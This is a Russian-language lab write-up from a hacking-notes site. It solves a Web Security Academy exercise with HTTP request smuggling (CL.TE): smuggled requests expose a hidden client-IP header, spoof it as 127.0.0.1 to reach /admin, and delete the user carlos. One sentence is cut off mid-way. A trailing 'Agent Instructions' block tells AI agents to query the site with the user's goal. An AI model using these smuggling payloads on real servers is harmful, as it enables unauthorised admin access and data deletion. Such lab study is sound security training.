> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/request-smuggling/discovery-of-rewriting-by-the-front-end.md).

# Обнаружение переписывания на стороне front-end

### Эксплуатация HTTP Request Smuggling для раскрытия переписывания запросов на фронтенде

Сайт основан на фронтенд-сервере и бэкенд-сервере. Фронтенд\*\* не принимает chunked encoding\*\*. / Доступ к административной панели /admin зарезервирован для пользователей из **127.0.0.1**. / Перед пересылкой запросов на бэкенд фронтенд \*\* добавляет пользовательский заголовок, содержащий IP-адрес клиента\*\*. Это поведение похоже на классический X-Forwarded-For, но имя заголовка другое.

Цель двоякая:

1. **Сформируйте запрос** чтобы раскрыть имя этого заголовка, добавляемого фронтендом.
2. **Отправьте скрытый** запрос, содержащий этот заголовок, принудительно задав ему значение 127.0.0.1, чтобы получить доступ к административной панели и удалить пользователя carlos.

<figure><img src="/files/7379fe49d3d5b778b9bdca127a8b633119e93e2a" alt=""><figcaption></figcaption></figure>

#### **Анализ поведения**

* Поле, переданное в параметре поиска, возвращается в ответе, показывая, что мы можем использовать его для наблюдения за эффектами наших инъекций.
* Отправка:

```http
Content-Length: 5
Transfer-Encoding: chunked

0


```

запрос обрабатывается без ошибок (200 OK), что подтверждает, что **фронтенд интерпретирует Content-Length**, в то время как **бэкенд игнорирует Transfer-Encoding**.

* При скрытом добавлении дополнительного POST-запроса:

```http
Content-Length: 55
Transfer-Encoding: chunked

0

POST / HTTP/1.1
Content-Length: 13

search=test
```

избыточные байты (здесь,

* Увеличив Content-Length до 125, ответ раскрывает заголовок, добавляемый фронтендом. / Этот заголовок:

```http
Content-Length: 125
```

<figure><img src="/files/d9cb2e774df9e97c4dcf02b929f32e74ff206c22" alt=""><figcaption></figcaption></figure>

<sub>X-KwWCmS-Ip</sub>

<figure><img src="/files/9f1611acd13d1a5df9cb9754ae0d09f31360947f" alt=""><figcaption></figcaption></figure>

#### **Доступ к панели администратора**

Подделав скрытый запрос, который включает этот заголовок, принудительно установленный в **127.0.0.1**, вы получаете доступ к /admin:

```http
POST / HTTP/1.1
Host: 0a740022030a5b81820ebfb900ae0054.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 85
Transfer-Encoding: chunked

0

POST /admin HTTP/1.1
X-KwWCmS-Ip: 127.0.0.1
Content-Length: 13

search=test
```

<figure><img src="/files/358654f4d98d6c90336b28322a94aedccc9b4fd4" alt=""><figcaption></figcaption></figure>

#### **Удаление пользователя Carlos**

Второй скрытый запрос позволяет напрямую вызвать конечную точку удаления:

```http
POST / HTTP/1.1
Host: 0a740022030a5b81820ebfb900ae0054.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 107
Transfer-Encoding: chunked

0

POST /admin/delete?username=carlos HTTP/1.1
X-KwWCmS-Ip: 127.0.0.1
Content-Length: 13

search=test
```

После этого пользователь carlos удаляется через бэкенд, создавая впечатление авторизованного внутреннего запроса.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/request-smuggling/discovery-of-rewriting-by-the-front-end.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
